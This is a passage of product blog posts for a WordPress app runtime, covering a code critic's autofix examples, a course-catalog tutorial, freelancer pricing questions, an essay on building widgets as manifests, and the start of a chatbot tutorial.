DesignSetGo apps must not embed credentials. Use dsgo.ai.prompt()
with the site's configured Connector instead.
```

**Autofix diff:**

```
- const apiKey = 'sk-proj-aBcDeFgHiJkLmNoPqRsTuVwXyZ012345678901234567890123456789';
- const response = await fetch('https://api.openai.com/v1/chat/completions', {
-   headers: { 'Authorization': `Bearer ${apiKey}` },
-   body: JSON.stringify({ model: 'gpt-4', messages: [...] }),
- });
- const data = await response.json();
- const reply = data.choices[0].message.content;
+ const result = await dsgo.ai.prompt({
+   system: 'You are a helpful assistant.',
+   messages: [...],
+ });
+ const reply = result.text;
```

**Why this matters:** Without the harness, the generator would ship a bundle with a real OpenAI key in plaintext. The next deploy, the key would be in the browser’s view-source. Within hours, the key would be scraping the public web and someone would be billing the user’s OpenAI account. This is the single most common failure mode for vibe-coded AI apps and the critic catches it on the first pass.

Even if the key is a placeholder (“sk-XXX”), the critic flags it because the *shape* of the code (writing a credential inline) is the failure mode. The autofix rewrites the code to use the bridge’s AI surface, which routes through the site’s Connector.

#### Failure mode 2: undeclared fetch origin

**The setup:** An app for a real-estate site that wants to embed a Google Maps view of the listing. The generator writes:

```
const mapsScript = document.createElement('script');
mapsScript.src = 'https://maps.googleapis.com/maps/api/js?key=...';
document.head.appendChild(mapsScript);
```

The script tag is fine. The `external_origins` field in the manifest is not updated to include `maps.googleapis.com`.

**Critic flag:**

```
[critic] CRIT_UNDECLARED_ORIGIN
File: app.js, line 14
Code fetches from 'maps.googleapis.com' but manifest external_origins
does not include this origin. CSP will block this in production.
```

**Autofix diff:**

```
  "permissions": { "read": ["posts"], "write": [] },
  "runtime": {
    "sandbox": "strict",
-   "external_origins": []
+   "external_origins": [
+     "https://maps.googleapis.com",
+     "https://maps.gstatic.com"
+   ]
  }
```

**Why this matters:** Without the harness, the app would ship, the user would install it, the install dialog would say “this app makes no external connections,” and then the Google Maps tile request would be silently blocked by CSP in production. The app would render with a broken map. The user would file a bug ticket. The actual fix (update the manifest) is one line, but the *discovery* of the fix would take the user a few hours of console debugging.

The critic catches it before the bundle leaves the harness. The autofix updates the manifest. The install dialog accurately tells the user “this app will connect to: maps.googleapis.com, maps.gstatic.com,” and the user knows what they are approving.

#### Failure mode 3: localStorage instead of per-user storage

**The setup:** An app that needs to save a “favorites” list per user. The generator writes:

```
function saveFavorite(id) {
  const favorites = JSON.parse(localStorage.getItem('favorites') || '[]');
  favorites.push(id);
  localStorage.setItem('favorites', JSON.stringify(favorites));
}
```

It works. It is also wrong for the reasons covered in [the per-user storage post](/blog/per-app-per-user-storage/): `localStorage` is browser-local, not server-side, and not scoped to the user.

**Critic flag:**

```
[critic] CRIT_LOCAL_STORAGE_FOR_PER_USER_DATA
File: app.js, line 5
The variable name 'favorites' suggests per-user data, but the code
uses localStorage. Use dsgo.storage.user.* instead. The data will
not survive device changes or browser clears with localStorage.
```

**Autofix diff:**

```
- function saveFavorite(id) {
-   const favorites = JSON.parse(localStorage.getItem('favorites') || '[]');
+ async function saveFavorite(id) {
+   const favorites = (await dsgo.storage.user.get('favorites')) ?? [];
    favorites.push(id);
-   localStorage.setItem('favorites', JSON.stringify(favorites));
+   await dsgo.storage.user.set('favorites', favorites);
  }
```

The autofix also adds a “logged-out user” handling block (a graceful fallback to in-memory storage with a “log in to save” CTA, as covered in the storage post). I have trimmed it here for length.

**Why this matters:** The localStorage version “works” in the sense that running it does not throw an error. It also silently fails the user expectation: the user clicks “favorite,” reloads, and their favorite is still there. They switch to their phone, log in, and the favorite is gone. They never notice that the data is browser-local until they ask why their phone does not show what their laptop does. The critic catches the semantic mismatch, not the syntactic correctness.

This is the kind of fix that distinguishes “AI-generated code that compiles” from “AI-generated code that ships.” Both are valid stages; the harness’s job is to push from the first to the second.

#### Failure mode 4: missing capability check before a bridge call

**The setup:** An admin-only utility for an agency. The generator writes:

```
async function deleteOldDrafts() {
  const drafts = await dsgo.posts.list({ status: 'draft' });
  for (const draft of drafts) {
    await dsgo.posts.delete(draft.id);
  }
}
```

The manifest has `permissions.write: ["posts"]` (Pro feature) so the calls succeed at the bridge level. The problem: nothing in the code checks that the *user* viewing the page is allowed to delete posts.

**Critic flag:**

```
[critic] CRIT_MISSING_CAPABILITY_CHECK
File: app.js, line 1
Function 'deleteOldDrafts' performs a write that requires the
'delete_posts' capability but does not check dsgo.user.can()
first. A subscriber visiting this page could trigger the action
through the bridge.
```

**Autofix diff:**

```
  async function deleteOldDrafts() {
+   if (!(await dsgo.user.can('delete_posts'))) {
+     throw new Error('You do not have permission to delete drafts.');
+   }
    const drafts = await dsgo.posts.list({ status: 'draft' });
    for (const draft of drafts) {
      await dsgo.posts.delete(draft.id);
    }
  }
```

**Why this matters:** The bridge enforces permissions *on the server side*: the call would fail if the visitor’s WordPress session does not have `delete_posts`. But the UI showing the “Delete drafts” button to every visitor (because no capability check gates the button) is a UX failure and an attack-surface invitation. The critic catches the missing client-side gate and the autofix adds it. The button is now hidden for subscribers; the bridge call still has the server-side check as backup.

#### Failure mode 5: hardcoded WordPress site URL in fetch

**The setup:** An app that needs to fetch from a custom WordPress endpoint (not the bridge, a genuinely external service the site hosts). The generator writes:

```
const response = await fetch('https://realestate-acme.example.com/wp-json/my-endpoint/v1/data');
```

The URL is hardcoded to the development site. The same bundle, deployed to a different agency client’s site, would still fetch from `realestate-acme.example.com` instead of the client’s site.

**Critic flag:**

```
[critic] CRIT_HARDCODED_SITE_URL
File: app.js, line 3
Hardcoded WordPress site URL detected. This bundle will fetch
from realestate-acme.example.com on every site it is deployed
to. Use dsgo.site.endpoint('my-endpoint/v1/data') to construct
a same-origin URL.
```

**Autofix diff:**

```
- const response = await fetch('https://realestate-acme.example.com/wp-json/my-endpoint/v1/data');
+ const url = await dsgo.site.endpoint('my-endpoint/v1/data');
+ const response = await fetch(url);
```

`dsgo.site.endpoint()` returns the current site’s REST endpoint, so the same bundle works on every site it is deployed to.

**Why this matters:** This is the agency-bug-from-hell. The bundle works on the development site (because the URL happens to match). The bundle deploys to three client sites. Two of them work (because the data is similar). One of them silently shows the wrong client’s data because the call is reaching across to the dev site. The critic catches the hardcoded URL pattern; the autofix uses the bridge’s same-origin helper.

#### What the critic does not catch

Five real failure modes is not “everything.” The critic has known limits:

**Logic bugs.** The critic checks for *patterns* the harness knows are bad. A wrong formula in a calculator (using `*` where you needed `+`) is not a pattern; the critic does not catch it. The validator runs the bundle in a sandbox and looks for crash failures, but it cannot tell whether the math is right. Logic-bug detection is in the [harness roadmap](https://github.com/DesignSetGo/designsetgo-apps/blob/main/docs/harness-research.md) as a future addition; for now, manual review or the user catching it in preview is the safety net.

**Subtle accessibility issues.** Color contrast, focus management, screen-reader behavior on complex widgets. The critic catches the obvious ones (missing alt text, missing labels on form fields). It does not catch every accessibility nuance.

**Performance regressions.** The critic does not measure runtime performance. A bundle that takes 8 seconds to load on a slow connection might be fine to the validator but unusable in practice. Performance review is a separate concern; we measure it post-deploy.

**Subtle UX issues.** The critic does not have a model of “good UX.” It cannot tell you that your modal trap people on mobile or that your tooltip is invisible on dark mode. Design review is human work.

The honest version: the critic is the floor. It catches the failures that would have caused a P0 bug ticket. It does not catch the failures that would have caused a P2 design ticket. Both are real; the harness is good at one and not the other.

#### The shorter version

The critic and autofix are the difference between “the AI wrote some code” and “the AI wrote code that ships.” Five real failure modes the critic catches, five real autofix diffs that repair them. Each one is a class of bug that would have been in production without the harness. None of them are exotic; they are the failures *vibe-coded apps actually have*.

If you are evaluating whether the Pro tier earns its keep on the harness alone, the question to ask is: how many of these failure modes would your team catch in code review, and how confident are you that the next prompt does not produce one you missed?

#### Further reading

- [The harness: what makes AI generation trustworthy on WordPress](/blog/the-harness-what-makes-ai-generation-trustworthy/): the architectural overview.

- [App secrets, the right way](/blog/app-secrets-the-right-way/): the structural rationale for failure mode 1.

- [Per-app, per-user storage](/blog/per-app-per-user-storage/): the bridge surface autofix 3 replaces localStorage with.

- [docs/harness-research.md](https://github.com/DesignSetGo/designsetgo-apps/blob/main/docs/harness-research.md): the research backing this design.

### Build a course-catalog app that pulls from a custom post type

URL: https://designsetgo.dev/blog/course-catalog-app-from-custom-post-type/
Published: 2026-06-21 · Nealey

If you sell courses on a WordPress site, you have an LMS plugin (LearnDash, LifterLMS, Sensei, Tutor LMS). The LMS plugin owns the lesson player, the quiz engine, the progress tracking, and the certificate issuance. It does this well.

What none of them do well: the *catalog page*. The marketing surface where prospective students see all the courses, filter by topic, see featured imagery, click through to enroll.

The stock catalog page from every LMS plugin I have used looks like an admin grid. You can customize it with PHP. You can override its template in your child theme. You can pay for a “marketing pack” add-on. All three paths are more work than the catalog page deserves.

The DesignSetGo path is the inverse. The LMS plugin keeps owning the lesson, the quiz, the progress. A DesignSetGo App reads the course CPT, renders the marketing catalog, and links each card out to the LMS plugin’s enrollment URL. One bundle. Your design. No theme override.

This post walks the build. Sized for an afternoon.

#### What you are building

A catalog page at `/courses/` (or `/apps/courses/` if you do not want to route it). The page shows:

- A grid of course cards. Each card has the featured image, title, instructor name, a one-line description, and the price.

- Filter controls above the grid: a category multi-select (read from the course taxonomy), a skill-level filter, a search box.

- “Enroll” or “Learn more” CTAs on each card, linking to the LMS’s enrollment URL for that course.

Rendered in inline mode so the catalog is SEO-indexable (people search “online courses in [topic]” and find the catalog page).

#### Step 1: scaffold

```
npx designsetgo apps init course-catalog
cd course-catalog
```

Open in Claude Code. The prompt:

> Build a course catalog page. Read posts from the `sfwd-courses` CPT (LearnDash). If `sfwd-courses` doesn’t exist, fall back to `llms_course` (LifterLMS) or `course`. Render a responsive grid of cards: featured image (16:9), course title, instructor (read from `_course_author` meta or post author), one-line excerpt, price (read from `_price` meta). Above the grid: a category multi-select using the `ld_course_category` taxonomy (or fallback), a skill-level radio (Beginner / Intermediate / Advanced; read from a `skill_level` taxonomy or a `_skill_level` meta), a search box. Inline mode for SEO. CTA per card: “Learn more” linking to course.link. Style: clean, education-focused, with a primary accent color. Mobile-first.

Claude Code writes the bundle. The shape:

```
import { dsgo } from '@designsetgo/app-client';
await dsgo.ready;

const courses = await dsgo.posts.list({
  type: 'sfwd-courses',  // or llms_course, etc.
  per_page: 50,
  _embed: true,
});

const cats = await dsgo.taxonomy.terms({
  taxonomy: 'ld_course_category',
  per_page: 30,
});

renderFilters(cats);
renderCards(courses);
```

#### Step 2: the manifest

```
{
  "manifest_version": 1,
  "id": "course-catalog",
  "name": "Course Catalog",
  "version": "0.1.0",
  "entry": "index.html",
  "isolation": "inline",
  "display": {
    "modes": ["page"],
    "page": {
      "wrap": "theme",
      "sitemap": true,
      "title": "Course Catalog | {{site.name}}",
      "meta_description": "Browse our courses."
    }
  },
  "permissions": { "read": ["posts", "taxonomy"], "write": [] },
  "runtime": { "sandbox": "strict", "external_origins": [] }
}
```

Inline mode for SEO ([see the listings browser post](/blog/real-estate-listings-browser-inline-mode/) for the deep dive on inline mode’s SEO benefits). Theme wrap so the catalog renders inside your site’s normal header/footer. Sitemap inclusion so Google finds it.

The `permissions.read` declares `posts` (which now includes CPTs after [last week’s release](/blog/the-week-designsetgo-started-reading-your-cpts/)) and `taxonomy` (for the category and skill-level filters). Nothing else.

#### Step 3: deploy

```
npx designsetgo apps deploy
```

The page is live at `/apps/course-catalog/`. Open it. Filter by a category. Search for a course title. Click a card. The CTA links to the LMS’s enrollment URL.

To mount it at `/courses/` instead of `/apps/course-catalog/`, [the same options apply as for the listings browser](/blog/real-estate-listings-browser-inline-mode/): either Pro’s slug rewrite, or a WordPress page titled “Courses” with the catalog as a block embed.

#### What you keep using the LMS for

This is the important framing. The DesignSetGo App is *not replacing your LMS plugin*. It is replacing your LMS plugin’s *marketing template*. Two very different things.

The LMS keeps doing:

- The lesson player and video embed.

- The quiz engine and grading.

- Progress tracking per student.

- Certificate issuance.

- The enrollment flow (the “Click here to buy” action).

- Coupon codes, member tiers, course bundles.

The DesignSetGo App does:

- The catalog page (this tutorial).

- Any custom landing page per course (with `dynamic_route: "wp:cpt:sfwd-courses"`).

- Any custom learner dashboard (“My courses” view, customized).

- Any custom marketing widget (“Recommended for you,” “Recently added”).

The two compose. The catalog links to the LMS’s enrollment URL; the LMS handles the purchase; the LMS marks the student as enrolled; the LMS’s lesson player renders the actual course. The DesignSetGo App is the *front door*. The LMS is the *building*.

#### Why this matters

The LMS catalog page is one of the highest-conversion surfaces on an education site. It is where a prospective student decides which course to buy. The default catalog is generic, the customization path is PHP, and most education sites either accept the default (and lose conversion) or pay for a marketing-pack add-on (which is another plugin to maintain).

The DesignSetGo path: take an afternoon, build a catalog that looks like the rest of your site, deploy it, ship. The next time you want to redesign the catalog, you edit your bundle. The LMS plugin updates have no effect on your catalog’s appearance because the LMS plugin is not rendering the catalog anymore.

The plugin-author cost: zero. The maintenance cost: one bundle to keep current. The conversion lift: real, because the catalog is now part of your marketing system rather than an afterthought rendered by the LMS.

#### Optional upgrades

Three additions that take the catalog from “ship it” to “this is a real marketing surface”:

**Per-course detail pages.** A dynamic-route app that mounts at every course permalink and renders a custom landing page (hero, syllabus, instructor bio, social proof, enrollment CTA). [Dynamic routes deep dive](/blog/dynamic-routes-deep-dive/) walks the pattern.

**Student-aware filtering.** “Show me courses I have not enrolled in yet.” Reads the LMS plugin’s enrollment metadata via the bridge (most LMSes expose enrollment as user meta or as an enrollment custom table). Hides courses the visitor is already enrolled in; highlights the next recommended course based on what they have finished.

**AI-driven recommendations.** “Tell me what to take next” button that calls `dsgo.ai.prompt()` with the visitor’s course history and asks for a recommendation. Uses the Connector configured on the site. The prompt is one paragraph; the implementation is 10 lines.

The optional upgrades each take another hour or two. Bundle them once the basic catalog is live and you have real visitor data on what they search and filter for.

#### Where this goes

The course catalog is one of three DesignSetGo Apps every education site eventually wants. The other two: a *student dashboard* (custom view of “courses I am enrolled in,” with progress bars and the next-lesson CTA) and a *certificate gallery* (a public-facing showcase of certificates the site has issued, useful for marketing). Both are the same pattern: read from the LMS plugin’s CPTs and user meta, render in your design system.

The wedge: shipping the catalog this afternoon. The vertical pack: all three apps as one bundle, [worth its own post](https://github.com/DesignSetGo/designsetgo-apps/blob/main/blog/CONTENT-CALENDAR-30-DAY.md) when there is demand.

#### The shorter version

The LMS plugin renders the lessons. The DesignSetGo App renders the marketing. Catalog page in inline mode, reading the LMS’s course CPT and taxonomy, deployed in an afternoon. Use both; do not fight either.

#### Further reading

- [Reading your WordPress taxonomy from an app](/blog/reading-wordpress-taxonomy-from-an-app/): the taxonomy surface walk.

- [A real-estate listings browser as an inline-mode app](/blog/real-estate-listings-browser-inline-mode/): same pattern, different vertical.

- [examples/content-navigator](/examples/): the example bundle that this catalog is sketched from.

### A pricing checklist for freelancers shipping DesignSetGo apps to clients

URL: https://designsetgo.dev/blog/pricing-checklist-for-freelancers/
Published: 2026-06-20 · Nealey

If you are a freelancer or small agency shipping DesignSetGo Apps to clients, the pricing conversation is new territory. The wedge is that you can build the same kind of custom widget in a fraction of the time it used to take, which means the per-unit pricing model you used for “custom WordPress plugin” is wrong now. So is the per-unit pricing model you used for “Vercel-hosted widget with an iframe embed.” Both were calibrated to the old build cost.

A DesignSetGo App costs less to build, costs less to maintain, ships to multiple sites trivially, and creates a different commercial relationship with the client than a custom plugin did. Your pricing needs to reflect that. The answers depend on your business; the *questions* are what this post is about.

Ten questions to walk through before you send the invoice for a DesignSetGo App engagement.

#### 1. Are you charging for the app, or for the deployment?

If the app is custom to one client, you charge for the build (and possibly the ongoing maintenance). If the app is one you have built before and are deploying to a new site, the “build” is mostly done and you are charging for the deployment, the customization, and the ongoing maintenance.

The wrong shape: charge “build price” every time, including for re-deploys of an app you already wrote. Clients will not catch this immediately, but eventually one of them compares notes with another and the engagement gets awkward. Charge for the work you are actually doing.

The right shape: an itemized invoice that distinguishes “build” line items (one-time, for new apps) from “deploy” line items (recurring, when you ship an existing app to a new client) from “customization” line items (for tweaks to an existing app for this client). Even if the dollar amount is the same, the line-item shape sets up the recurring-revenue conversation.

#### 2. Did you bundle updates?

A DesignSetGo App’s update channel is `npx designsetgo apps deploy` to a new version. Updates are essentially free in time terms. Are you including future updates in the build price, or charging for them separately?

The wrong shape: silently assume updates are included, then resent every “small change” request. Clients are not telepathic.

The right shape: explicit upfront. “This price includes any updates we cut to the underlying app for the first 12 months. Custom changes specific to your site are billed at $X/hr.” Or: “We charge a $50/mo maintenance retainer that covers all updates and one customization request per quarter.”

#### 3. Did you bill for the second client site separately?

The first time you ship an app you built to two client sites, the temptation is to charge the same price for both. After all, you “delivered” the app to both clients.

You did not, really. The CLI deploy to the second site took 30 seconds. The economic argument for charging the second client the same price as the first is weak.

The right shape: a per-site deploy fee that is meaningfully lower than the original build fee, paired with a maintenance retainer for ongoing support. The second client pays for the deployment, the customization to their site, and the maintenance, not for the build (which was already paid for by the first client). Some agencies charge the second client a higher per-site fee initially, then drop the per-site fee as they amortize the original build across more clients.

The shorter version: the unit you are selling at scale is not “an app.” It is “an app deployment on this client’s site.” Price for the unit you are actually selling.

#### 4. Who owns the bundle?

The legal question. If you build a custom DesignSetGo App for Client A, who owns the source? Client A? You? Both?

This matters more for DesignSetGo Apps than for traditional WordPress plugins because the app is fundamentally a static bundle the client could trivially clone and re-deploy on a different site. If the IP arrangement is unclear, you might find your apps showing up on competitor sites.

The right shape: explicit IP terms in the contract. Some options:

- **Client owns the bundle, you retain a license to deploy it elsewhere.** Common if the client paid full custom-development rates.

- **You own the bundle, client gets a perpetual license to use it on their sites.** Common if the client paid a discount because the app is one you build for multiple clients.

- **Shared ownership / co-development arrangement.** Rare; complicated.

Pick one before you ship. Tell the client which one. Put it in the contract.

#### 5. Is the AI generation part of the deliverable?

If you build the app *with* Claude Code or Cursor and the client knows that, do they have any expectation that they get the prompt, the harness logs, or the ability to regenerate the app themselves?

This is one of the new questions. Pre-AI, the client paid for your judgment plus your code. Post-AI, the client is paying for your judgment plus the output, but the *code* is partially Claude’s. Whether the client expects access to the AI-generation steps is a conversation that did not exist five years ago.

For most engagements, the answer is “no, the client gets the deliverable; you do not surface the AI workflow.” But it is worth asking explicitly with the client what they expect, especially if you are charging at custom-development rates.

#### 6. Are you charging for the install dialog UX?

The DesignSetGo runtime ships a permission dialog at install time. For most clients, this is fine: they see the install dialog, they read the permissions, they click install.

For clients who want their version of the install dialog (a custom permission summary, their brand on the dialog, additional copy explaining the app), that is the [white-label feature](/blog/white-labeling-for-agencies/), which is a Pro tier. Are you charging the client for the white-label license, or absorbing it into your service?

The right shape: pass through the white-label cost as a line item if the client wants it; absorb it into your overhead if you are using it across enough clients to amortize it.

#### 7. What is the maintenance contract shape?

The “we will keep this working” promise. For traditional custom WordPress plugins, the maintenance contract was usually framed as “we will fix bugs and apply WordPress compatibility updates for X months.”

For DesignSetGo Apps, the WordPress-compatibility-update concern is much smaller (the runtime handles WordPress version compatibility; the app sees a stable bridge). The bug-fix concern is similar. The new dimension is “we will keep deploying new versions as the underlying app evolves.”

The right shape: explicit contract terms. “$X/mo, includes (a) bug fixes within Y business days, (b) all new versions of the underlying app pushed to your site automatically, (c) up to N hours of customization changes per quarter.”

#### 8. Are you charging for the Connector setup?

If the app uses `dsgo.ai.prompt()`, the site needs an AI Connector configured. The client may or may not already have one. Setting one up takes 5-15 minutes. Are you charging for that?

The wrong shape: silently set it up using your own API key, then have it expire or hit limits a month in. Now your client’s app is failing and they do not know why.

The right shape: set up the Connector on the client’s WordPress install, using their account with the model provider. They pay the model bill directly. You charge for the setup time as part of the engagement. If they do not have an account with a model provider, walk them through setting one up before you ship the app.

#### 9. Are you charging for client training?

A DesignSetGo App that lives in the client’s wp-admin (or as a block in their pages) is something they may want to *use*, not just have. If the app has any configuration surface, a non-trivial Gutenberg embed, or a workflow the client’s team will encounter, you should plan for a training session.

The wrong shape: ship the app, send a one-line email, expect the client to figure out how to embed it themselves. They will figure it out, eventually, but the first week of usage will be more support tickets than you expected.

The right shape: a 30-minute training session as a line item. Record it. Send them the recording. The recording will serve future team members on the client side and reduces your future support load.

#### 10. What is your renewal model?

This is the big one. A custom WordPress plugin was traditionally a one-shot deliverable: you built it, you delivered it, you billed it, you were done (modulo the maintenance contract).

A DesignSetGo App engagement is more naturally a recurring one. The app evolves. The site’s content changes and the app should keep working. The runtime updates. New versions ship. The client wants new features that take an afternoon to add.

If you price this like a one-shot delivery, you leave a lot of recurring revenue on the table. If you price it like a SaaS subscription, you may scare off clients who expected a fixed quote.

The right shape (in my experience): an upfront delivery fee that covers the build plus the first deployment, paired with a recurring retainer that covers maintenance, updates, and a small allowance of customizations per period. The retainer is the recurring relationship; the upfront is the entry fee.

#### The shorter version

The economics of shipping a DesignSetGo App are different from shipping a custom WordPress plugin or a Vercel-hosted widget. The build cost is lower, the per-site deploy cost is dramatically lower, the maintenance cost is lower, and the natural commercial relationship is recurring rather than one-shot.

Your pricing should reflect those economics. The ten questions above are the checklist. The answers depend on you and your clients. The mistake is shipping without asking them.

If you have your own pricing patterns that work, I want to hear them. The category is new enough that everyone is figuring this out at the same time.

#### Further reading

- [The agency client portal, in one weekend](/blog/the-agency-client-portal-in-one-weekend/): the retro of yesterday’s tutorial; reinforces “ship the delivery model, not just the example.”

- [White-labeling DSGo for your agency clients](/blog/white-labeling-for-agencies/): the Pro feature for agencies.

- [docs/pricing-business-model.md](https://github.com/DesignSetGo/designsetgo-apps/blob/main/docs/pricing-business-model.md): DesignSetGo’s own pricing thinking, for context on how the runtime is priced.

### Why your custom widget should be a manifest, not a microservice

URL: https://designsetgo.dev/blog/your-widget-should-be-a-manifest-not-a-microservice/
Published: 2026-06-19 · Nealey

This is the post I wish someone had handed me five years ago. It would have saved me a couple hundred hours.

If you have ever built a small custom widget for a website (an interactive calculator, a configurator, a quote tool, a dashboard, a quiz, anything in that “useful but bespoke” bucket), you have probably followed this pipeline:

- Decide on a framework (React, Vue, Svelte, whatever your team likes).

- `npm create vite@latest`.

- Build the widget.

- Decide on a host (Vercel, Netlify, Cloudflare Pages).

- Set up a deploy pipeline (Git push to deploy, sometimes with GitHub Actions for builds).

- Decide on an environment-variable scheme for any secrets the widget needs.

- If the widget needs to talk to the parent WordPress site for data, set up CORS on the WordPress side, set up an authentication scheme for the cross-origin calls, write the fetch wrapper.

- Embed via iframe on the WordPress page.

- Deal with iframe-resize-on-content-change, cross-origin postMessage for any parent-child communication, and the eventual “wait, our auth doesn’t work in iframes in Safari because of cookie partitioning” surprise.

- Six months later, the widget needs an update. You context-switch back into the Vercel project, remember which env vars matter, debug the CI you set up half a year ago, ship.

The widget itself is maybe 200 lines. The infrastructure around it is everything else.

This post is the reset. A small widget is a *manifest*, not a microservice. The architectural unit is small; we are using a unit way too large.

#### The “before” diagram

Six boxes.

- The widget code itself (a Vite project).

- The hosting platform (Vercel project).

- The deploy pipeline (GitHub repo, GitHub Action, Vercel hook).

- The environment-variable management (Vercel dashboard, .env files for local dev).

- The CORS configuration on the WordPress side (a small plugin or .htaccess rules).

- The cross-origin auth layer (whatever scheme you came up with, JWTs or signed URLs or app passwords).

Each box has its own lifecycle, its own dashboard, its own update channel, its own failure modes, and its own price.

The widget code is 1% of the surface area. The infrastructure is the other 99%. The infrastructure also generates 100% of the maintenance burden, because the widget itself does not change much after launch but the infrastructure rots continuously (dependency updates, framework upgrades, Vercel UI changes, GitHub Actions versions).

#### The “after” diagram

One box.

- A folder with the widget’s HTML, JS, CSS, and a `dsgo-app.json` manifest. Deployed to a WordPress site with `npx designsetgo apps deploy`.

That is the whole architecture.

No Vercel project. No GitHub Actions setup for the widget specifically (the WordPress site already has whatever it has). No environment variables (secrets live in WordPress Connectors, [as covered in the secrets post](/blog/app-secrets-the-right-way/)). No CORS configuration (the widget is same-origin with WordPress because it lives on the WordPress site). No cross-origin auth scheme (the visitor’s WordPress cookie is already in flight). No iframe-resize dance with the parent page (the runtime handles it).

The widget is *the artifact*. The infrastructure is implicit in the runtime.

#### The maintenance cost over a year, sketched

Made-up but representative numbers from my own projects.

**Widget-as-microservice version, year 1:**

- 2-4 hours of initial pipeline setup.

- 1-2 hours of CORS / auth debugging on the first deploy.

- 30 minutes per quarter for dependency updates (Vite, the framework, the host’s CLI).

- 1 hour per quarter for one infrastructure surprise (Vercel changed their build syntax; GitHub Actions deprecated a node version; etc.).

- Total: roughly 6-10 hours of maintenance per year *not directly related to the widget*.

**Widget-as-DSGo-App version, year 1:**

- 5 minutes of initial setup (`npx designsetgo apps init`).

- 0 hours of CORS / auth debugging (the runtime handles it).

- 0 hours per quarter for hosting-side dependency updates (there is no separate hosting).

- 15 minutes per year for the occasional DesignSetGo runtime upgrade.

- Total: under 1 hour of maintenance per year not directly related to the widget.

The difference is bigger than it looks because the small infrastructure tasks have a fixed cost of attention every time you context-switch back into them. The microservice version is not just 10 hours; it is 10 hours spread across 10 different “wait, what was this project’s deploy setup again?” moments. That fragmentation is its own cost.

#### When the microservice shape is actually right

This is the part that has to be honest.

A widget should be a microservice when:

**It does significant server-side work.** Image processing, machine learning inference outside of what an MCP-style Connector can route, server-side rendering of large datasets, anything where the JavaScript bundle plus the WordPress backend cannot serve the work. If you genuinely need a server-side compute layer, the microservice is doing real work. Pay the infrastructure cost.

**It serves multiple unrelated sites.** A widget that is hosted by one team and embedded on dozens of customer sites (a Calendly-shaped product, a Drift-shaped product) is fundamentally a SaaS, and SaaS belongs on its own hosting infrastructure. DSGo Apps are the wrong shape for that; they assume same-origin with the WordPress host.

**It needs to run when the WordPress site is down.** If your widget needs to keep operating even if its host WordPress site is offline, it needs its own hosting. (For most widgets, “the host site is down” means “no one is loading the widget anyway.” This case is rarer than people think.)

**It has real-time requirements that the bridge cannot meet.** WebSockets to a third-party service, server-sent events for live updates, anything where the bridge’s request-response model is the wrong shape. DesignSetGo can call WebSocket APIs (declare the origin in `external_origins`), but if the widget is fundamentally a real-time client to a non-WordPress backend, the microservice may be the right anchor.

For most “useful but bespoke” widgets, none of these apply. The widget is a UI on top of the WordPress site’s data, takes inputs from the visitor, produces a number or a recommendation, and goes home. The microservice shape is overkill.

#### The mental shift

The hardest part of internalizing this is the mental shift. The architectural unit for *small widgets* is not a deployment. It is a manifest.

The “infrastructure” for a small widget is the WordPress site it lives on. The WordPress site already has identity, content, storage, an admin UI, a deploy pipeline (the WordPress itself), and a domain. The widget inherits all of that.

If you find yourself reaching for Vercel for a widget that takes inputs and returns numbers, you are about to spend more time on infrastructure than on the widget. Stop. Try the manifest version first.

#### The shorter version

The historical default for small widgets (“separate Vite project, separate Vercel project, separate CI, iframe back into WordPress”) was a 99% infrastructure / 1% widget ratio. The DesignSetGo default is the inverse: the bundle is the widget, the manifest is the everything-else, the WordPress site is the infrastructure.

This is not a “DesignSetGo is better than Vercel” claim. Vercel is a great platform for *the things it is for*. It is not the right shape for a 200-line widget that reads three posts from a WordPress site.

#### Further reading

- [Vercel is the wrong place for your WordPress widget](/blog/vercel-is-the-wrong-place-for-your-wordpress-widget/): the search-intent version of this argument.

- [WordPress is the backend your vibe-coded app forgot it needed](/blog/wordpress-is-the-backend-your-vibe-coded-app-forgot-it-needed/): the broader case for WordPress as the durable layer.

- [DesignSetGo vs headless WordPress](/blog/dsgo-vs-headless-wordpress/): the architectural comparison with the heaviest “microservice for widgets” pattern.

### Add a chatbot to a WordPress site without trusting a SaaS

URL: https://designsetgo.dev/blog/add-a-chatbot-without-trusting-a-saas/
Published: 2026-06-18 · Nealey

If you searched “WordPress chatbot plugin” any time in the last two years, you found roughly five product categories:

- **OpenAI-key chatbots.** Plugin asks for your OpenAI key, makes calls on your behalf, shows the chat. (See [Friday’s post on why this is structurally wrong](/blog/app-secrets-the-right-way/).)

- **Vendor-hosted chatbots** (Drift, Intercom, Tidio, HubSpot Chat). Embeds a third-party widget on your site. The conversation, the leads, and the analytics live in someone else’s database.

- **WhatsApp/SMS chatbots.** Bolt-ons that route conversations through Twilio or a WhatsApp Business API. Powerful but heavy.

- **Custom GPT embeds.** A `<iframe>` to a ChatGPT custom GPT. Free, gives the conversation to OpenAI.

- **DIY**, where you read four blog posts and then write the chatbot yourself in PHP, which is the path most agencies avoid.

There is a sixth path that did not exist 18 months ago: a DesignSetGo App that uses your site’s WordPress 7.0 Connector for inference and stores conversations as posts in your own database. The data never leaves the site. The model is whatever your site is configured to use. The billing is whatever your Connector is set up for.

This post walks that build. About 90 lines of code, an afternoon to get right, and the chatbot stays *yours*.

#### What you are building

A chat widget in the bottom-right of your site (or embedded as a Gutenberg block in a specific page). When the visitor types a message:

- The app calls `dsgo.ai.prompt()` with the conversation history.

- The Connector handles the inference (your site decides which model: Anthropic, OpenAI, your internal LLM, etc.).

- The response renders in the chat.

- The conversation is saved as a post in a `chat_log` custom post type, scoped to the visitor’s WordPress user (if logged in) or their session.

You own the data. You can audit it in wp-admin. You can export it. You can delete it. You can analyze it. It is in your database.

#### Step 1: scaffold

```
npx designsetgo apps init chatbot
cd chatbot
```

Open in Claude Code. The prompt:

> Build a chatbot widget that lives in the bottom-right corner of any page it is embedded on. A floating “Chat” button that opens a small chat panel. Inside the panel, a message history (visitor messages right-aligned, bot messages left-aligned), and an input field at the bottom. On submit, call dsgo.ai.prompt with the conversation history and a system prompt that says “You are a helpful assistant for [Site Name]. Be concise and friendly.” Render the streaming response into the chat. On every message exchange, append to dsgo.storage.user.* for logged-in users so the conversation persists across sessions; for guests, in-memory only. Style it like a modern site chat: rounded panel, clean typography, accent color matches the site’s WordPress theme primary color (read it from dsgo.site.info()).

Claude Code writes the bundle. The shape is roughly:

```
import { dsgo } from '@designsetgo/app-client';
await dsgo.ready;

const site = await dsgo.site.info();
const me = await dsgo.user.current();
const history: { role: 'user' | 'assistant'; content: string }[] =
  (me ? (await dsgo.storage.user.get('chat_history')) : null) ?? [];

async function send(message: string) {
  history.push({ role: 'user', content: message });
  renderHistory();

  const stream = dsgo.ai.prompt({
